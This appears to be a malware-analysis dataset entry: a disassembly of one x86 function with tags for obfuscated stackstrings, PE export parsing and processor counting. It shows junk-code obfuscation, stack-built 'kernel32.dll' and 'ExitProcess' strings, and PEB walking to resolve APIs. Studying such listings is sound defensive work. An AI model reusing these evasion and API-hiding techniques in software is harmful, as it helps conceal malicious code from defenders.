Function at 0x41d6c7
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x74c], eax
push esi
or esi, 0x164da
jmp 0x41cdd7
jmp 0x41cdde
pop esi
push esi
sub esi, 0x110f3
and esi, 0xaa1
add esi, 0xc113
add esi, 0x17c4e
pop esi
push ecx
add ecx, 0xba1b
and ecx, 0xa641
pop ecx
push edi
push ebx
add esp, 4
sub edi, 0x3eb7
pop edi
push esi
or esi, 0x119e1
call 0x41ce27
add byte [eax + 0x48], cl
inc edi
push eax
inc edx
inc ebp
add esp, 4
pop esi
mov byte [ebp - 0xbec], 0x52
mov byte [ebp - 0xbeb], 0xb9
mov byte [ebp - 0xbea], 0x10
mov byte [ebp - 0xbe9], 0x10
mov byte [ebp - 0xbe8], 0x10
mov byte [ebp - 0xbe7], 0x10
mov byte [ebp - 0xbe6], 0x5a
push ebx
push ecx
add esp, 4
and ebx, 0x1565e
add ebx, 0x122f6
and ebx, 0x168f5
pop ebx
push ebx
jmp 0x41ce7e
call 0x41ce8a
add byte [eax + 0x45], cl
inc ebx
aaa
dec ebx
inc ebp
add esp, 4
pop ebx
mov byte [ebp - 0xbe4], 0x52
mov byte [ebp - 0xbe3], 0xb9
mov byte [ebp - 0xbe2], 0x20
mov byte [ebp - 0xbe1], 0x20
mov byte [ebp - 0xbe0], 0x20
mov byte [ebp - 0xbdf], 0x20
mov byte [ebp - 0xbde], 0x5a
push ebx
and ebx, 0x569a
add ebx, 0xa72a
pop ebx
push ebx
jmp 0x41ced7
sub ebx, 0x16d6
call 0x41ceed
add byte [ebx], dh
aas
cmp bh, byte [eax]
aaa
xor al, 0x3f
cmp eax, 0xc4833a50
add al, 0x5b
mov dword [ebp - 0x2084], 0xe
push esi
push edi
add esp, 4
add esi, 0x1174b
sub esi, 0x2449
pop esi
push eax
push ecx
add esp, 4
and eax, 0xc36a
pop eax
push eax
add eax, 0x8514
xor eax, 0x2d0b
or eax, 0x5136
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbec]
mov dword [ebp - 0x15bc], eax
push esi
push ebx
add esp, 4
call 0x41cf53
add byte [edi], bh
cmp dword [ebp + 0x4b], ecx
inc ecx
xor eax, 0x5e04c483
push eax
jmp 0x41cf61
or eax, 0x13e64
sub eax, 0x1abe
xor eax, 0x6fd
pop eax
mov dword [ebp - 0x2088], 0xffffffff
push esi
sub esi, 0x284c
pop esi
push ebx
sub ebx, 0x15461
pop ebx
push ebx
sub ebx, 0xd56a
pop ebx
push ebx
add ebx, 0x11193
call 0x41cfac
add byte [edi + ecx*2], bh
cmp eax, 0x3c3c424a
xor eax, dword [ebx + eax*4 - 0x3c]
add al, 0x5b
mov ecx, dword [ebp - 0x74c]
mov dword [ebp - 0x4fc], ecx
jmp 0x41cfcd
mov edx, dword [ebp - 0x4fc]
add edx, 1
mov dword [ebp - 0x4fc], edx
push ebx
push edi
add esp, 4
or ebx, 0x17c23
and ebx, 0x1648a
add ebx, 0x7396
pop ebx
push eax
push ecx
add esp, 4
or eax, 0xf7cc
jmp 0x41cff8
sub eax, 0x9bfb
pop eax
mov eax, dword [ebp - 0x4fc]
sub eax, dword [ebp - 0x74c]
cmp eax, 0xffffffff
jb 0x41d047
push eax
and eax, 0xfc15
pop eax
push edi
sub edi, 0x755b
add edi, 0x182cc
jmp 0x41d02e
call 0x41d03e
add byte [edx], bh
inc esi
xor al, byte [edi + 0x4c]
inc esi
cmp al, 0x47
inc ebx
dec esp
add esp, 4
pop edi
jmp 0x41d275
mov dword [ebp - 0xc80], 7
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xa60], ecx
push ebx
add ebx, 0xd8f3
and ebx, 0xa9ca
pop ebx
push ebx
and ebx, 0x11313
and ebx, 0x2966
pop ebx
push edi
jmp 0x41d081
pop edi
push ebx
sub ebx, 0xe7d2
jmp 0x41d08e
pop ebx
mov edx, dword [ebp - 0x15bc]
mov dword [ebp - 0xac0], edx
mov dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0x4fc]
cmp eax, dword [ebp - 0x15bc]
jne 0x41d0f6
push ecx
push ebx
add esp, 4
and ecx, 0x15836
add ecx, 0x11334
pop ecx
push ecx
or ecx, 0x12346
add ecx, 0x152bb
call 0x41d0e1
add byte [ebp + 0x34], al
dec ebx
dec ebx
cmp dword [ecx + 0x4b], eax
dec ecx
inc edi
add esp, 4
pop ecx
mov ecx, dword [ebp - 0xc84]
mov dword [ebp - 0x15c4], ecx
jmp 0x41d227
cmp dword [ebp - 0xc80], 0
jle 0x41d21b
push eax
push esi
add esp, 4
jmp 0x41d110
sub eax, 0x84d8
pop eax
push esi
push edi
add esp, 4
add esi, 0x9469
sub esi, 0x7068
and esi, 0x1308c
add esi, 0x56e3
pop esi
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xac0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x41d1b7
push esi
push esi
add esp, 4
or esi, 0x15d13
and esi, 0x9a62
call 0x41d16b
add byte [ecx + 0x4e], al
dec edx
inc eax
inc edi
cmp eax, dword [ecx + 0x44]
dec edx
add esp, 4
and esi, 0x13e4c
pop esi
push ecx
and ecx, 0xaa7f
pop ecx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xac0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x41d19f
mov dword [ebp - 0x15c0], 1
jmp 0x41d1a9
mov dword [ebp - 0x15c0], 0xffffffff
mov ecx, dword [ebp - 0x15c0]
mov dword [ebp - 0xc84], ecx
jmp 0x41d21b
push ebx
push edx
add esp, 4
and ebx, 0x505d
add ebx, 0x13cd9
or ebx, 0x17e89
pop ebx
push ebx
push edx
add esp, 4
and ebx, 0x116a0
and ebx, 0x9a0d
jmp 0x41d1e8
pop ebx
mov edx, dword [ebp - 0xc80]
sub edx, 1
mov dword [ebp - 0xc80], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0xac0]
add ecx, 1
mov dword [ebp - 0xac0], ecx
jmp 0x41d0f6
mov edx, dword [ebp - 0xc84]
mov dword [ebp - 0x15c4], edx
cmp dword [ebp - 0x15c4], 0
jne 0x41d270
push eax
and eax, 0x3563
or eax, 0x77c3
pop eax
push esi
push edx
add esp, 4
or esi, 0xe7ca
add esi, 0xf409
call 0x41d25e
add byte [esi + 0x45], cl
dec esi
inc edi
push eax
dec edi
aaa
cmp dword [ecx - 0x7d], eax
les eax, [esi + ebx*2]
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0x3f8], eax
jmp 0x41d2b1
jmp 0x41cfbe
push edi
push ebx
add esp, 4
jmp 0x41d283
call 0x41d291
add byte [ebp + 0x3d], cl
inc ebp
xor bh, byte [eax]
push eax
dec edi
dec esp
add esp, 4
call 0x41d2a3
add byte [ebx], dh
push eax
xor eax, 0x473c4046
inc esp
cmp dword [ebx - 0x38a0fb3c], eax
test dword [eax], ecx
cld
invalid
push edx
push edi
add esp, 4
sub edx, 0xefa7
pop edx
push edi
and edi, 0x128
sub edi, 0x1609a
add edi, 0x18634
or edi, 0x3629
pop edi
push ecx
push ebx
add esp, 4
or ecx, 0x6a12
pop ecx
push edi
or edi, 0x8a81
add edi, 0x3087
or edi, 0xfc15
and edi, 0xde74
pop edi
push ecx
push ebx
add esp, 4
sub ecx, 0x13bfb
sub ecx, 0x16a77
or ecx, 0x4325
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe4]
mov dword [ebp - 0x15c8], eax
push edx
add edx, 0x5dc2
xor edx, 0x8427
add edx, 0x118ff
pop edx
push ecx
push edi
add esp, 4
sub ecx, 0x5484
sub ecx, 0x833d
or ecx, 0x112e1
xor ecx, 0xfa44
pop ecx
mov dword [ebp - 0x208c], 0xffffffff
push eax
add eax, 0x6764
xor eax, 0x61be
add eax, 0x3a8a
pop eax
push ebx
push ecx
add esp, 4
jmp 0x41d384
jmp 0x41d38b
add ebx, 0x10c3e
and ebx, 0x111d3
pop ebx
mov ecx, dword [ebp - 0x74c]
mov dword [ebp - 0x500], ecx
jmp 0x41d3b5
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push eax
push ebx
add esp, 4
and eax, 0x1212f
call 0x41d3cf
add byte [esp + ecx*2 + 0x43], al
xor eax, 0x32474d37
cmp eax, dword [ebx - 0x3f7efb3c]
mov esi, 0x58000070
push esi
jmp 0x41d3e0
and esi, 0x62c
pop esi
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x74c]
cmp eax, 0xffffffff
jb 0x41d42f
push ecx
push ecx
add esp, 4
sub ecx, 0xbc85
pop ecx
push ebx
push edi
add esp, 4
or ebx, 0xcf82
and ebx, 0x7986
pop ebx
push edi
sub edi, 0xb594
or edi, 0x1d96
sub edi, 0x17c24
pop edi
jmp 0x41d65d
mov dword [ebp - 0xc88], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xabc], ecx
push ecx
sub ecx, 0x124c5
pop ecx
push edi
or edi, 0xf96
add edi, 0x202e
add edi, 0x466
pop edi
push eax
add eax, 0x8836
or eax, 0x1191f
pop eax
push esi
add esi, 0x132e1
pop esi
mov edx, dword [ebp - 0x15c8]
mov dword [ebp - 0xab8], edx
mov dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15c8]
jne 0x41d4de
push eax
jmp 0x41d4a1
pop eax
push esi
push ebx
add esp, 4
sub esi, 0xdb4
and esi, 0x17e99
and esi, 0x10d5
jmp 0x41d4be
pop esi
push ecx
xor ecx, 0x7f45
add ecx, 0x60d1
pop ecx
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d0], ecx
jmp 0x41d60f
cmp dword [ebp - 0xc88], 0
jle 0x41d603
push ebx
push esi
add esp, 4
call 0x41d4fe
add byte [0x34363e49], dh
dec eax
dec eax
inc esp
add esp, 4
call 0x41d50d
add byte [esi + 0x3f], al
dec ebp
inc edi
cmp bh, byte [edi]
add esp, 4
or ebx, 0xac20
or ebx, 0x12667
pop ebx
mov edx, dword [ebp - 0xabc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xab8]
movzx edx, byte [ecx]
cmp eax, edx
je 0x41d59f
push ecx
push esi
add esp, 4
or ecx, 0xcf38
sub ecx, 0x17ddb
pop ecx
push eax
push eax
add esp, 4
and eax, 0xe518
pop eax
push eax
call 0x41d561
add byte [edi + 0x3f], al
inc ebp
dec edx
dec edi
inc ecx
dec esp
inc ebp
add esp, 4
pop eax
mov eax, dword [ebp - 0xabc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xab8]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x41d587
mov dword [ebp - 0x15cc], 1
jmp 0x41d591
mov dword [ebp - 0x15cc], 0xffffffff
mov ecx, dword [ebp - 0x15cc]
mov dword [ebp - 0xc8c], ecx
jmp 0x41d603
push ecx
jmp 0x41d5a7
pop ecx
push ebx
xor ebx, 0xeebe
jmp 0x41d5b5
jmp 0x41d5bb
jmp 0x41d5c1
pop ebx
push eax
xor eax, 0x15537
jmp 0x41d5d0
pop eax
mov edx, dword [ebp - 0xc88]
sub edx, 1
mov dword [ebp - 0xc88], edx
mov eax, dword [ebp - 0xabc]
add eax, 1
mov dword [ebp - 0xabc], eax
mov ecx, dword [ebp - 0xab8]
add ecx, 1
mov dword [ebp - 0xab8], ecx
jmp 0x41d4de
mov edx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d0], edx
cmp dword [ebp - 0x15d0], 0
jne 0x41d658
push esi
or esi, 0xb709
call 0x41d62c
add byte [edi], dh
cmp esi, dword [0x373d4d44]
add esp, 4
jmp 0x41d637
pop esi
push ebx
push ecx
add esp, 4
sub ebx, 0x17416
or ebx, 0x47dc
pop ebx
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xab4], eax
jmp 0x41d699
jmp 0x41d3a6
push edi
sub edi, 0x7da6
xor edi, 0x813
or edi, 0x93fc
add edi, 0xc583
pop edi
push edx
push ecx
add esp, 4
add edx, 0x6345
pop edx
push eax
push ecx
add esp, 4
jmp 0x41d68e
pop eax
mov dword [ebp - 0xab4], 0
push eax
jmp 0x41d6a0
pop eax
push edi
push edx
add esp, 4
sub edi, 0x9da2
pop edi
push ecx
push ecx
add esp, 4
add ecx, 0x70a8
pop ecx
push eax
call 0x41d6c7
add byte [ebx + 0x42], cl
aas
xor eax, 0x83443e40
les eax, [eax + ebx*2]
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push ebx
push edi
add esp, 4
or ebx, 0xe9b3
or ebx, 0xa6c7
pop ebx
push eax
call 0x41d741
add byte [ecx + 0x49], cl
inc ecx
xor cl, byte [ebx + 0x3d]
inc edx
push eax
inc edi
add esp, 4
xor eax, 0x15c76
xor eax, 0x1570
pop eax
mov ecx, 0x6b
mov word [ebp - 0x1734], cx
mov edx, 0x65
mov word [ebp - 0x1732], dx
mov eax, 0x72
mov word [ebp - 0x1730], ax
mov ecx, 0x6e
mov word [ebp - 0x172e], cx
mov edx, 0x65
mov word [ebp - 0x172c], dx
mov eax, 0x6c
mov word [ebp - 0x172a], ax
mov ecx, 0x33
mov word [ebp - 0x1728], cx
mov edx, 0x32
mov word [ebp - 0x1726], dx
mov eax, 0x2e
mov word [ebp - 0x1724], ax
mov ecx, 0x64
mov word [ebp - 0x1722], cx
mov edx, 0x6c
mov word [ebp - 0x1720], dx
mov eax, 0x6c
mov word [ebp - 0x171e], ax
xor ecx, ecx
mov word [ebp - 0x171c], cx
push eax
push edx
add esp, 4
sub eax, 0x4abe
pop eax
push edi
add edi, 0xae34
pop edi
push ecx
push edx
add esp, 4
xor ecx, 0x163b3
add ecx, 0x16bf6
add ecx, 0x348e
or ecx, 0x8d68
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0x16019
add ecx, 0x107e8
and ecx, 0x9148
xor ecx, 0xf118
pop ecx
push ebx
or ebx, 0x10c54
and ebx, 0x15d07
and ebx, 0x2bcf
pop ebx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1ff4], edx
mov eax, dword [ebp - 0x1ff4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1950], ecx
mov edx, dword [ebp - 0x1950]
mov dword [ebp - 0x159c], edx
push edi
and edi, 0x18345
add edi, 0x78c1
or edi, 0x13672
pop edi
push ecx
xor ecx, 0xbc0c
xor ecx, 0x61e8
call 0x41d8a4
add byte [esi], dh
xor al, byte [esi + 0x4c]
aaa
inc ecx
xor eax, 0x5904c483
cmp dword [ebp - 0x159c], 0
jne 0x41d8c0
mov dword [ebp - 0x318], 0
jmp 0x41db7c
mov eax, dword [ebp - 0x159c]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push esi
push ecx
add esp, 4
add esi, 0xc31d
call 0x41d8ec
add byte [ebx], bh
cmp dword [ecx + 0x32], ecx
inc ebx
cmp esi, dword [edi]
inc esi
add esp, 4
add esi, 0x971b
pop esi
push edx
or edx, 0xc625
sub edx, 0x126cf
pop edx
cmp dword [ebp - 0xc98], 0
jne 0x41d91c
mov dword [ebp - 0x318], 0
jmp 0x41db7c
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x504], eax
push eax
jmp 0x41d930
xor eax, 0x77c8
xor eax, 0x12383
and eax, 0x1424b
pop eax
push eax
call 0x41d950
add byte [ebx], bh
dec esi
inc edi
cmp edi, dword [ebx]
cmp al, 0x83
les eax, [ecx + eax*4]
enter 0x5f79, 1
add byte [eax - 0x73], bl
invalid
push ecx
jmp 0x41db83
pop ecx
push esi
push edx
add esp, 4
jmp 0x41db92
xor esi, 0x13185
call 0x41dba4
invalid
invalid
dec eax